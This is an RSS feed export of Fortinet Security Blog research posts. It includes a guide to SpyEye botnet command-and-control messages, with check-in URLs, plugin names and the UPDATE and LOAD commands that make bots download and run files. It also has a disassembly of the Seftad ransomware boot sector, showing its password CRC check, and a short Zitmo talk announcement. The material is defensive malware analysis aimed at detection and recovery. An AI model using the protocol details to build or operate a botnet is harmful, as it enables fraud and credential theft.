<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>Fortinet Security Blog &#187; Research</title>
	<atom:link href="http://blog.fortinet.com/tag/research/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.fortinet.com</link>
	<description>Real Time Network Protection</description>
	<lastBuildDate>Fri, 27 Jan 2012 11:59:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.3</generator>
	<!-- podcast_generator="podPress/8.8" -->
		<copyright>&#xA9;Fortinet Product Marketing </copyright>
		<managingEditor>rpopko@fortinet.com (Fortinet Product Marketing)</managingEditor>
		<webMaster>rpopko@fortinet.com(Fortinet Product Marketing)</webMaster>
		<category>Fortinet Product Information</category>
		<ttl>1440</ttl>
		<itunes:keywords>forti-gate, anti-spam, anti-virus, fortigate</itunes:keywords>
		<itunes:subtitle>The latest news and information about Fortinet products and services for Real Time Network Protection.</itunes:subtitle>
		<itunes:summary>Fortinet is a leading provider of Unified Threat Management (UTM) network security solutions for enterprise and service provider environments. The Fortinet FortiCast delivers news, information, and tutorials about products, services, and industry trends. Fortinet's FortiGate product line and FortiGuard security subscription services provide an array of integrated network security functions including antivirus, firewall, virtual private networking, intrusion prevention (IPS), web filtering, antispam and traffic optimization. </itunes:summary>
		<itunes:author>Fortinet Product Marketing</itunes:author>
		<itunes:category text="Technology"/>
<itunes:category text="Technology">
  <itunes:category text="Tech News"/>
</itunes:category>
		<itunes:owner>
			<itunes:name>Fortinet Product Marketing</itunes:name>
			<itunes:email>rpopko@fortinet.com</itunes:email>
		</itunes:owner>
		<itunes:block>No</itunes:block>
		<itunes:explicit>no</itunes:explicit>
		<itunes:image href="http://blog.fortinet.com/wp-content/uploads/2009/01/forticast-300x300.jpg" />
		<image>
			<url>http://blog.fortinet.com/wp-content/uploads/2009/01/forticast-144x144.jpg</url>
			<title>Fortinet Security Blog</title>
			<link>http://blog.fortinet.com</link>
			<width>144</width>
			<height>144</height>
		</image>
		<item>
		<title>For your ease of following us: Facebook &amp; Twitter</title>
		<link>http://blog.fortinet.com/fortiguard-labs-are-on-facebook-twitter/</link>
		<comments>http://blog.fortinet.com/fortiguard-labs-are-on-facebook-twitter/#comments</comments>
		<pubDate>Mon, 20 Jun 2011 10:31:33 +0000</pubDate>
		<dc:creator>Ruchna Nigam</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[feed]]></category>
		<category><![CDATA[fortiguard labs]]></category>
		<category><![CDATA[security research]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=3071</guid>
		<description><![CDATA[A couple of days back, a game of Nerd Truth or Dare in the lab led to the shocking revelation that most of us were using our Facebook/Twitter accounts mainly to keep up with security blogs. Personally, being a twitter non-conformist until recently, I even created a twitter account for this sole purpose. And that [...]]]></description>
			<content:encoded><![CDATA[<p>A couple of days back, a game of Nerd Truth or Dare in the lab led to the shocking revelation that most of us were using our Facebook/Twitter accounts mainly to keep up with security blogs. Personally, being a twitter non-conformist until recently, I even created a twitter account for this sole purpose. And that led to the realization that FortiGuard Labs need to &#8216;get with it&#8217; too.</p>
<p>So here&#8217;s introducing our <a href="https://www.facebook.com/home.php#!/pages/FortiGuard-Labs/228520810496253?sk=wall">Facebook</a> and <a href="https://twitter.com/#!/FortiGuardLabs">Twitter</a> pages for your ease of following us.</p>
<p>If you, like us, have tried every RSS aggregator there is under the sun, have been left unsatisfied with each, and then have finally resorted to using social networks as aggregators, you might be happy to know that you can follow FortiGuard Labs through your Twitter or Facebook accounts.</p>
<p>Follow/Like us to keep up with our research, blog posts, threat advisories and other work that we feel you might find interesting.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/fortiguard-labs-are-on-facebook-twitter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Guide to SpyEye C&amp;C Messages</title>
		<link>http://blog.fortinet.com/a-guide-to-spyeye-cc-messages/</link>
		<comments>http://blog.fortinet.com/a-guide-to-spyeye-cc-messages/#comments</comments>
		<pubDate>Tue, 15 Feb 2011 19:58:11 +0000</pubDate>
		<dc:creator>DMacDonald</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Botnets]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[SpyEye]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=2371</guid>
		<description><![CDATA[In the past month changes in the SpyEye botnet kit have more or less stopped, after a very busy year in which many new versions were released. I was recently looking at all of the information I have from testing and analysis of these versions, when it occured to me that this lull in activity [...]]]></description>
			<content:encoded><![CDATA[<p>In the past month changes in the <strong>SpyEye botnet kit</strong> have more or less stopped, after a very busy year in which many new versions were released. I was recently looking at all of the information I have from testing and analysis of these versions, when it occured to me that this lull in activity would be a good time to put some organized results together. Then when SpyEye returns, in some mutant, Zbot like form, we will have something like a guide to its workings, which should be useful.</p>
<p>A good place to start this process is with the SpyEye botnet messages. Network messages can be a quick way to recognize a botnet, even when no sample is available yet. They can also provide a dynamic view of the botnet in action, revealing its structure, growth and activities.</p>
<p>When a SpyEye bot running on an infected computer starts up, it immediately sends a message to check in with its <strong>Command &amp; Control</strong> server. This first message contains some basic information about the bot infector and the computer it is running on. Here is an example, with the parameters highlighted.</p>
<p><strong>http://</strong>(server)/gate.php?<strong>guid=</strong>uname!cname!1A2B3C4D&amp;<strong>ver=</strong>10260&amp;<strong>stat=</strong>ONLINE&amp;<strong>ie=</strong>6.0.2900.2180&amp;<strong>os=</strong>5.1.2600&amp;<strong>ut=</strong>Admin&amp;<strong>cpu=</strong>100&amp;<strong>ccrc=</strong>90A01B2D&amp;<strong>md5=</strong>0516cb89185fee8bee81a15d2859c870</p>
<p>Let&#8217;s take a closer look at each of the parameters sent to the C&amp;C server in this message.</p>
<p><strong>guid=</strong>uname!cname!1A2B3C4D<br />
The guid is a <strong>unique identifier</strong> for the bot. It is made up of the current user name, the computer name and a numeric identifier.</p>
<p><strong>ver=</strong>10260<br />
This is the <strong>version of the bot infector</strong> that is currently running on the infected computer. The SpyEye version numbers in my message collection range from 10060 (1.0.60) to 10299 (1.2.99). In this range 43 version numbers have been seen in use, all in less than a year. The most commonly seen version numbers, and probably the most popular builds, are 10070, 10280 and 10299. There have been some recent attempts to sell 103xx and 104xx versions, but most of these are obvious fakes. There is an emerging 10305 version appears to be genuine.</p>
<p><strong>stat=</strong>ONLINE<br />
The functional <strong>status of the bot</strong>. In most messages the bots send <strong>stat=ONLINE</strong>. If a bot is not online no message can be sent, so there is no need for an offline status message. If the loader has just been used to put a file on the bot, the status will be either <strong>LOAD-COMPLETE</strong> or <strong>LOAD-ERROR</strong>, depending on the result.</p>
<p><strong>ie=</strong>6.0.2900.2180<br />
The <strong>version of Internet Explorer</strong> on the infected computer.</p>
<p><strong>os=</strong>5.1.2600<br />
The <strong>version of Microsoft Window</strong>s operating system on the infected computer.</p>
<p><strong>ut=</strong>Admin<br />
This is the <strong>user typ</strong>e of the current user on the infected computer. The possible values are <strong>User</strong> and <strong>Admin</strong>.</p>
<p><strong>cpu=</strong>100<br />
The <strong>cpu load</strong> on the infected computer, as a percentage.</p>
<p><strong>ccrc=</strong>90A01B2D<br />
This is a <strong>CRC32</strong> taken from the last four bytes of the <strong>bot config file</strong> currently on the infected computer. The <strong>ccrc</strong> is used to determine if a config update is needed.</p>
<p><strong>md5=</strong>0516cb89185fee8bee81a15d2859c870<br />
This is the <strong>md5 of the bot infector</strong> that currently is on the computer. The C&amp;C server software compares this to the latest md5 in its update table to decide if an update is needed. This parameter was introduced somewhere between versions 10070 and 10082.</p>
<p>After sending the initial message, the bot continues to regularly send check in messages every five minutes. These messages are the same as the first one, except that the<strong> ie</strong>, <strong>os</strong> and <strong>ut</strong> parameters are not included.</p>
<p><strong>http://</strong>(server)/gate.php?<strong>guid=</strong>uname!cname!1A2B3C4D&amp;<strong>ver=</strong>10260&amp;<strong>stat=</strong>ONLINE&amp;<strong>cpu=</strong>0&amp;<strong>ccrc=</strong>90A01B2D&amp;<strong>md5=</strong>0516cb89185fee8bee81a15d2859c870</p>
<p>If there are <strong>plugins</strong> included in the infection, the check in messages will have the <strong>plg</strong> parameter, along with the names of the plugins.  Here is a list of some popular plugins.</p>
<pre><strong>billinghammer</strong>     Charges credit cards using stolen card data.
<strong>bugreport</strong>         Returns SpyEye debugging information.
<strong>ccgrabber</strong>         Collects credit card information from the bots.
<strong>ffcertgrabber</strong>     Collects certificate information from the bots.
<strong>ftpbc</strong>             Allows reverse ftp connections to the bot.
<strong>socks5</strong>            Allows reverse connections through a proxy server.
</pre>
<p>It is not possible to give an exact or complete plugin list because the names can be changed, and it looks like there are some fakes circulating. In the next sample message the bot reports that is has two plugins, <strong>bugreport</strong> and <strong>billinghammer</strong>.</p>
<p><strong>http://</strong>(server)/gate.php?<strong>guid=</strong>dmacdonald!VB4!361C13E2&amp;<strong>ver=</strong>10260&amp;<strong>stat=</strong>ONLINE&amp;<strong>plg=bugreport;billinghammer</strong>&amp;<strong>cpu=</strong>0&amp;<strong>ccrc=</strong>90A01B2D&amp;<strong>md5=</strong>0516cb89185fee8bee81a15d2859c870</p>
<p>The C&amp;C server responds to this message with status control information, which is used to set  the state of the plugins. In this example, both plugins are being kept in the inactive state by setting the control codes to zero.</p>
<p><strong>HTTP/</strong>1.1 200 OK (text/html)<br />
<strong>PLUGIN</strong>&lt;br&gt;<strong>billinghammer;0</strong>&lt;br&gt;<strong>bugreport;0</strong>&lt;br&gt;</p>
<p>As an example, if the <strong>bugreport</strong> plugin is to be activated, the botnet operator uses the <strong>C&amp;C Control Panel</strong> to change the setting. The image below shows how this is done.</p>
<p><a rel="attachment wp-att-2387" href="http://blog.fortinet.com/a-guide-to-spyeye-cc-messages/image00-a/"><img class="alignnone size-full wp-image-2387" src="http://blog.fortinet.com/wp-content/uploads/2011/02/image00-a.png" alt="" /></a></p>
<p>The next time the bot checks in, the <strong>status code</strong> for <strong>bugreport</strong> in the reponse message will have been changed from <strong>zero</strong> to <strong>one</strong>. This tells the bot to activate the plugin, causing it to begin doing whatever it does. The new status code continues to be sent in response to each subsequent check in, until the bot goes offline or the plugin is deactivated from the Control Panel.</p>
<p><strong>HTTP/</strong>1.1 200 OK (text/html)<br />
<strong>PLUGIN</strong>&lt;br&gt;<strong>billinghammer;0</strong>&lt;br&gt;<strong>bugreport;1</strong>&lt;br&gt;</p>
<p>Soon the time will come to update the bot executable, either because Anti-Virus scanners detect the old build, or because a new version has become available. To do an update, the botnet operator goes to the <strong>Control Panel</strong> and uses the <strong>Update Bot</strong> subpanel to upload the new file.  The md5 of the sample is put into the <strong>update_bot</strong> table, and each time a check in message arrives from a bot, this md5 is compared to the one in the message. If they differ, an <strong>UPDATE</strong> command is included in the C&amp;C response message. An example of the check in message and response can be seen below, with the old md5 highlighted.</p>
<p><strong>http://</strong>(server)/gate.php?<strong>guid=</strong>uname!cname!1A2B3C4D&amp;<strong>ver=</strong>10260&amp;<strong>stat=</strong>ONLINE&amp;<strong>plg=</strong>bugreport;billinghammer&amp;<strong>cpu=</strong>0&amp;<strong>ccrc=</strong>90A01B2D&amp;<strong>md5=0516cb89185fee8bee81a15d2859c870</strong></p>
<p><strong>HTTP/</strong>1.1 200 OK (text/html)<br />
<strong>UPDATE</strong>&lt;br&gt;<strong>PATH=http://(server)/bin/build___.exe</strong></p>
<p>When this command is received, the bot downloads the new build from the location given and installs it. The next check in message to be sent shows the change in the md5 (highlighted below). If the new md5 matches the one in the <strong>update_bot</strong> table, the update was successful.</p>
<p><strong>http://</strong>(server)/gate.php?<strong>guid=</strong>uname!cname!1A2B3C4D&amp;<strong>ver=</strong>10260&amp;<strong>stat=</strong>ONLINE&amp;<strong>cpu=</strong>5&amp;<strong>ccrc=</strong>7CF6CDB7&amp;<strong>md5=705db7f1d97be9cfd4991378648ea7a2</strong></p>
<p>The configuration file (config.bin) can also be updated, in a similar manner. This would be done when a server address changes, or to update or add plugins, which are delivered in the config file. The bot message format includes a parameter called <strong>ccrc</strong>, which is a crc32 taken from the last four bytes of the config.bin file, in reverse order. The file is compressed and these bytes are part of the compression information. If this value differs from the <strong>ccrc</strong> of the config.bin stored on the C&amp;C server, an <strong>UPDATE_CONFIG</strong> command is issued, causing a new config.bin to be downloaded and installed. The check in and response messages can be seen below, followed by the next check in message, where the change in the <strong>ccrc</strong> can be seen.</p>
<p><strong>http://</strong>(server)/gate.php?<strong>guid=</strong>dmacdonald!VB4!361C13E2&amp;<strong>ver=</strong>10260&amp;<strong>stat=</strong>ONLINE&amp;<strong>cpu=</strong>0&amp;<strong>ccrc=7CF6CDB7</strong>&amp;<strong>md5=</strong>705db7f1d97be9cfd4991378648ea7a2</p>
<p><strong>HTTP/</strong>1.1 200 OK (text/html)<br />
<strong>UPDATE_CONFIG</strong>&lt;br&gt;<strong>PATH=http://(server)/bin/config.bin</strong></p>
<p><strong>http://</strong>(server)/gate.php?<strong>guid=</strong>dmacdonald!VB4!361C13E2&amp;<strong>ver=</strong>10260&amp;<strong>stat=</strong>ONLINE&amp;<strong>cpu=</strong>2&amp;<strong>ccrc=90A01B2D</strong>&amp;<strong>md5=</strong>705db7f1d97be9cfd4991378648ea7a2</p>
<p>The botnet <strong>Control Panel</strong> software also provides the ability to <strong>load and execute</strong> programs on the bot infected machine. Once a loader task has been set up, a <strong>LOAD</strong> command is sent as part of the response to the next bot check in.</p>
<p><strong>HTTP/</strong>1.1 200 OK (text/html)<br />
<strong>LOAD</strong>&lt;br&gt;<strong>http://(server)/bin/upload/calc.exe</strong>&lt;br&gt;<strong>121</strong></p>
<p>Unlike the update functions, the loader has no crc or md5 to check the success of a download, so it relies on an error reporting system. The number <strong>121</strong>, at the end of the <strong>LOAD</strong> command above, is a <strong>task ID</strong> used to report success or failure. It is included as <strong>tid=121</strong> in the next bot check in message, where it serves to identify the task being reported on.</p>
<p><strong>http://</strong>(server)/gate.php?<strong>guid=</strong>uname!cname!1A2B3C4D&amp;<strong>ver=</strong>10260&amp;<strong>stat=LOAD-COMPLETE</strong>&amp;<strong>tid=121</strong>&amp;<strong>rep=TASK%20IS%20OK</strong>&amp;<strong>cpu=</strong>36&amp;<strong>ccrc=</strong>7CF6CDB7&amp;<strong>md5=</strong>705db7f1d97be9cfd4991378648ea7a2</p>
<p>Here the load was successful. This is confirmed by the status being set to <strong>stat=LOAD-COMPLETE</strong>, and by the text report, <strong>rep=TASK IS OK</strong>. If the LOAD command fails, the status is reported as <strong>stat=LOAD-ERROR</strong>, with a more detailed error message in the text report. Of course this system does not protect against file corruption.</p>
<p><strong>http://</strong>(server)/gate.php?<strong>guid=</strong>dmacdonald!VB4!361C13E2&amp;<strong>ver=</strong>10260&amp;<strong>stat=LOAD-ERROR</strong>&amp;<strong>tid=121</strong>&amp;<strong>rep=[ERROR]%20:%20Cannot%20create%20thread.%200o%20:%20dwErr%20==%201455</strong>&amp;<strong>cpu=</strong>1&amp;<strong>ccrc=</strong>7CF6CDB7&amp;<strong>md5=</strong>705db7f1d97be9cfd4991</p>
<p>There are several other <strong>error messages</strong> that can be sent by the bot. The list of error message format strings from the bot can be seen below.</p>
<p>[ERROR] : CreateProcess(&#8220;%s&#8221;, &#8230;, &#8220;%s&#8221;) fails : dwFileSize == 0x%08X; dwCrc32 == 0x%08X : dwErr == %d<br />
[ERROR] : DumpPage(&#8220;%s&#8221;, &#8220;%s&#8221;) fails : dwErr == %d<br />
[ERROR] : Empty szLink? : dwErr == %d<br />
[ERROR] : Empty data? : dwErr == %d<br />
[ERROR] : Empty report. Unknown error : dwErr == %d<br />
[ERROR] : Thread is really sloppy : dwErr == %d<br />
[ERROR] : Cannot create thread. 0o : dwErr == %d</p>
<p>For quick reference, here is a brief summary of the parameters that may appear in check in messages sent from the bot to the C&amp;C. They are listed in their order of appearance, which is always the same.</p>
<pre><strong>guid</strong>   Unique <strong>ID</strong> of a bot infected computer.
<strong>ver</strong>    Bot infector <strong>version</strong> number.
<strong>stat</strong>   Current bot <strong>status</strong>.
<strong>tid</strong>    Program loader <strong>task ID</strong> number.
<strong>rep</strong>    Program loader result, text <strong>report</strong>.
<strong>ie</strong>     Internet Explorer <strong>version</strong>.
<strong>os</strong>     Microsoft Windows <strong>version</strong>.
<strong>ut</strong>     <strong>User type</strong> of the current user.
<strong>plg</strong>    List of <strong>plugins</strong> currently installed.
<strong>cpu</strong>    Percent <strong>cpu load</strong>.
<strong>ccrc</strong>   <strong>Config crc32</strong>, to check if update needed.
<strong>md5</strong>    Md5 of <strong>bot exe</strong>, to check if update needed.
</pre>
<p>This is not really the end of the story, some of the plugins also generate messages as they do their work. But at least we have enough information here to recognize and interpret the most important messages, the ones passed between the bot and the C&amp;C server.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/a-guide-to-spyeye-cc-messages/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Shmoocon 2011 talk: Defeating mTANs for Profit</title>
		<link>http://blog.fortinet.com/shmoocon-2011-talk-defeating-mtans-for-profit/</link>
		<comments>http://blog.fortinet.com/shmoocon-2011-talk-defeating-mtans-for-profit/#comments</comments>
		<pubDate>Thu, 27 Jan 2011 15:40:07 +0000</pubDate>
		<dc:creator>GLovet</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[axelle]]></category>
		<category><![CDATA[conference]]></category>
		<category><![CDATA[crypto girl]]></category>
		<category><![CDATA[mobile malware]]></category>
		<category><![CDATA[mobile threat]]></category>
		<category><![CDATA[mobile virus]]></category>
		<category><![CDATA[shmoocon]]></category>
		<category><![CDATA[Zeus]]></category>
		<category><![CDATA[zeus in the mobile]]></category>
		<category><![CDATA[zitmo]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=2275</guid>
		<description><![CDATA[Tomorrow starts the quite famous &#8211; and ever sold-out &#8211; security conference Shmoocon, held in Washington DC until Sunday. The keynote this year will be filled by Peiter Mudge Zatko, inventor of L0phtcrack and early pioneer of buffer overflows. Among the talks filling the tri-tracks program (Build it / Break it / Bring it on), [...]]]></description>
			<content:encoded><![CDATA[<p><a rel="attachment wp-att-2276" href="http://blog.fortinet.com/shmoocon-2011-talk-defeating-mtans-for-profit/shmoo/"><img class="alignleft size-full wp-image-2276" style="margin: 6px 8px;" title="Shmoo" src="http://blog.fortinet.com/wp-content/uploads/2011/01/Shmoo.png" alt="" width="189" height="150" /></a>Tomorrow starts the quite famous &#8211; and ever sold-out &#8211; security conference <a href="http://www.shmoocon.org/">Shmoocon</a>, held in Washington DC until Sunday. The keynote this year will be filled by Peiter Mudge Zatko, inventor of L0phtcrack and early pioneer of buffer overflows.</p>
<p>Among the talks filling the tri-tracks program (Build it / Break it / Bring it on), we&#8217;re glad to find our Crypto Girl, Axelle, who will present a paper she co-wrote with Kyle Yang (another regular poster on this blog) on the infamous mobile phone malware <a href="http://blog.fortinet.com/zeus-in-the-mobile-zitmo-online-bankings-two-factor-authentication-defeated/">Zitmo</a>, that we discovered (simultaneously with Spanish company S21sec) and named last September.</p>
<p>Zitmo stands for &#8220;ZeuS in the Mobile&#8221;; this offspring of the gang behind the infamous banking credential theft kit named &#8220;ZeuS&#8221; has the interesting peculiarity of attacking so-called &#8220;mTAN&#8221; (<strong>mobile Transaction Authentication Number</strong>), which are sent as SMS messages by many banks to serve as a second authentication factor, when customers want to initiate a financial transaction online.</p>
<p>Axelle will elaborate on the details during the preso, so if you&#8217;re around, make sure you attend!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/shmoocon-2011-talk-defeating-mtans-for-profit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Details of the Seftad RansomWare Boot Sector Infection</title>
		<link>http://blog.fortinet.com/details-of-the-seftad-ransomware-boot-sector-infection/</link>
		<comments>http://blog.fortinet.com/details-of-the-seftad-ransomware-boot-sector-infection/#comments</comments>
		<pubDate>Tue, 14 Dec 2010 21:21:21 +0000</pubDate>
		<dc:creator>DMacDonald</dc:creator>
				<category><![CDATA[Antivirus]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Boot Infection]]></category>
		<category><![CDATA[ransomware]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Seftad]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=2057</guid>
		<description><![CDATA[The W32/Seftad RansomWare has been spreading for a few days now, locking infected computers and trying to extort money for a recovery password. The infection is easily recognized by the text message below, which is displayed when the computer starts up, or rather fails to start. Your PC is blocked. All the hard drives were [...]]]></description>
			<content:encoded><![CDATA[<p>The <strong>W32/Seftad RansomWare</strong> has been spreading for a few days now, locking infected computers and trying to extort money for a recovery password. The infection is easily recognized by the text message below, which is displayed when the computer starts up, or rather fails to start.</p>
<p><strong>Your PC is blocked.<br />
All the hard drives were encrypted.<br />
Browse www.safe-data.ru to get an access to your system and files.<br />
Any attempt to restore the drives using other way will<br />
lead to inevitable data loss !!!<br />
Please remember Your ID: 773923,<br />
with its help your sign-on password will be generated.<br />
Enter password:</strong></p>
<p>But they lie, the hard disk is not encrypted, only a few sectors have been changed. This table shows the changes to the disk sectors. Also shown are the memory addresses where they are loaded to memory by the malware.</p>
<pre>
<strong>Infected Drive   Disk Address   Memory Address   Sector Contents</strong>
  Sector 1         0x000          0x7C00           Malware boot sector
  Sector 2         0x200          0x7C00           Malware code
  Sector 3         0x400          0x7E00           Text strings &amp; CRC
  Sector 4         0x600          -                -
  Sector 5         0x800          0x7E00           Original boot sector
</pre>
<p>Hard drive sector 1 normally contains the Master Boot Record (MBR), with the partition table and the boot code needed to start the operating system. It has been copied to sector 5 with two bytes changed. Sector 1 now contains the malware boot code, with no partition table.</p>
<p>When the computer starts, the malware boot code from sector 1 is loaded and executed. It reads sectors 2 and 3 into memory at address <strong>0000:7c00</strong>. The malware then checks whether a certain ID number is present at the start of sector 2 and the end of sector 3. The ID number check code can be used to confirm the identity of the malware boot sector.</p>
<pre>1000:002b   cmp   dword ptr [bx+02h], 636d6a68h ; code start marker
1000:0033   jnz   loc_0000004b                  ; marker not found
1000:0035   add   bx, 3fch                      ; location of code end marker
1000:0039   cmp   dword ptr [bx], 636d6a68h     ; code end marker
1000:0040   jnz   loc_0000004b                  ; marker not found</pre>
<p>(The addresses in the listings are disk based addresses, conversion to memory addresses is shown where necessary.)</p>
<p>At this point the code loaded from sector 2 is executed, and the routine that reads in the password starts.  Up to 16 characters can be keyed in, and when the Enter key is pressed processing begins. The first step is to pad the password with spaces so that the length is always 16 characters.</p>
<pre>1000:027d   mov   al, 20h                       ; " " text space
1000:027f   cmp   di, 10h                       ; if di &lt;16 carry set
1000:0282   jnc   loc_00000289                  ; if we have 16 chars jump
1000:0284   mov   [bx+di], al                   ; add a space " "
1000:0286   inc   di                            ; increase char count
1000:0287   jmp   27fh                          ; check again if 16 chars</pre>
<p>Next each of the 16 password characters is sent to a CRC generator. The resulting CRC will be used to check the whether the password is correct.</p>
<pre>1000:0289  mov  cl, 10h                         ; cl = 16, chars in password
1000:028b  xor  dx, dx                          ; dx = 0x00, CRC goes here
1000:028d  mov  si, 7e7ah                       ; password buffer (disk 047a)
1000:0290  cld                                  ; clear direction flag
1000:0291  lodsb                                ; load pwd char to al, si++
1000:0292  call loc_00000368                    ; call the CRC16 generator
1000:0295  dec  cl                              ; cl--  update character count
1000:0297  jnz  291h                            ; loop to load next character</pre>
<p>There are many different CRC16 alogorithms. The one used is the xmodem version, not the most common or the best, but it will work for this task. The core of the <strong>CRC generator</strong> is shown below.</p>
<pre>1000:036a  mov  ah, al                          ; move password char to ah
1000:036c  xor  al, al                          ; zero al
1000:036e  xor  dx, ax                          ; dx=crc, 0x00 on first pass
1000:0370  mov  cl, 08h                         ; set cl for 8 bits
1000:0372  shl  dx, 1h                          ; shift left 1 bit
1000:0374  jnc  37ah                            ; if top bit was 0 jump
1000:0376  xor  dx, 1021h                       ; CRC polynomial = 0x1021
1000:037a  dec  cl                              ; cl--
1000:037c  jnz  372h                            ; loop until cl=0</pre>
<p>Once the password CRC has been calculated, it is checked against the reference CRC at memory location <strong>0000:7ffa</strong>, where it was loaded from disk sector 3.</p>
<pre>1000:0299  cmp  dx, [7ffah]                     ; password CRC loc (crc=0x24e0)
1000:029d  jz  loc_000002b2                     ; if equal</pre>
<p>The CRC value <strong>0x24E0</strong>, located at memory address <strong>0000:7ffa</strong>, can be found at at disk location <strong>0x7ffa &#8211; 0x7c00 + 0&#215;200 = 0x05fa</strong>, shown in the hex dump below. Any password with this CRC will work.</p>
<pre>Disk:05F0  Mem:7FFA   00 00 00 00 00 00 00 00  00 00 <strong>E0 24</strong> 68 6A 6D 63  ..........à$hjmc</pre>
<p>When an incorrect password is entered, the words &#8220;Wrong password&#8221; are displayed, with &#8220;Enter password:&#8221; appearing again below. After three tries the computer reboots and the process starts again. Rebooting here is probably just a simple way to clear the display.</p>
<p>When a correct password has been entered, the process of restoring the computer begins. First the original boot sector is loaded into memory, from disk sector 5.</p>
<pre>1000:02b2  mov  bx, 7e00h                       ; buffer
1000:02b5  mov  cx, 05h                         ; track=0 sector=5
1000:02b8  mov  dx, 80h                         ; head=0 drive=hard disk
1000:02bb  mov  ax, 201h                        ; read disk sectors, 1 sector
1000:02be  int  13h                             ; read disk
1000:02c0  jnc  loc_000002ca                    ; jump if read was ok</pre>
<p>When the original boot sector was saved, the last two bytes were changed to <strong>&#8220;be af&#8221;</strong>. These are now checked, and if they are wrong the message &#8220;Data corrupted&#8221; is displayed.</p>
<pre>Disk:09F0  Mem:7FF0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 <strong>BE AF</strong>  ..............¾¯</pre>
<p></p>
<pre>1000:02ca  mov  di, 7ffeh                       ; (disk 09fe)
1000:02cd  cmp  word ptr [di], 0afbeh           ; check value
1000:02d1  jz  loc_000002db                     ; if ok jump</pre>
<p>If the bytes are as expected, they are changed back to their original value, <strong>&#8220;55 aa&#8221;</strong>, which is the Boot Record Signature. If the BIOS does not see these bytes it will not boot.</p>
<pre>1000:02db  mov  dx, 0aa55h                      ; boot record signature
1000:02de  mov  word ptr [di], dx               ; write to mem, di=7ffe</pre>
<p>The repaired boot sector is now written to sector 1, so that the computer becomes bootable again.</p>
<pre>1000:02e0  mov  cx, 01h                         ; write to sector 1
1000:02e3  mov  dx, 80h                         ; head=0 drive=hard disk
1000:02e6  mov  ax, 301h                        ; write disk sectors, 1 sector
1000:02e9  int  13h                             ; write to disk
1000:02eb  jnc  loc_000002f5                    ; jump if ok, to "clean up disk"</pre>
<p>Finally a buffer is filled with nulls and written to disk sectors 2, 3 and 5, so that all traces of the infection are removed, and the computer is rebooted. Of course if any of these sectors was being used by some system level software, like a disk or boot utility, whatever data they contained is lost and the password will not restore the computer to its original state.</p>
<p>The best way to cure this infection is to use a suitable disk repair utility. If this fails then hopefully the information presented here will help with manual repair. In any case it is important to remember that even when the computer boots successfully, it will still be infected with the malware that started this, and needs to be cleaned.</p>
<p>Additional information about this malware can be found in Fortinet researcher Patrick Yu&#8217;s <a href="http://blog.fortinet.com/all-your-drives-are-belong-to-us/">All your drives are belong to us</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/details-of-the-seftad-ransomware-boot-sector-infection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Threat Prevention: 2010 and Beyond</title>
		<link>http://blog.fortinet.com/threat-prevention-2010-and-beyond/</link>
		<comments>http://blog.fortinet.com/threat-prevention-2010-and-beyond/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 22:47:38 +0000</pubDate>
		<dc:creator>RPopko</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Threat Landscape]]></category>
		<category><![CDATA[Dalai Lama]]></category>
		<category><![CDATA[derek manky]]></category>
		<category><![CDATA[IE zero day]]></category>
		<category><![CDATA[jbig2 zero-day pdf]]></category>
		<category><![CDATA[operation aurora]]></category>
		<category><![CDATA[threat prevention]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=1399</guid>
		<description><![CDATA[This month, Derek Manky, project manager, cyber security &#38; threat research at Fortinet recorded an informative audio with Power Point presentation titled: “Threat Prevention: 2010 and Beyond.” This extremely enlightening discussion examines four real-world vulnerabilities (Dalai Lama, JBIG2 Zero-Day PDF, Operation Aurora and IE Zero Day) their timelines, what happened with these vulnerabilities, how the [...]]]></description>
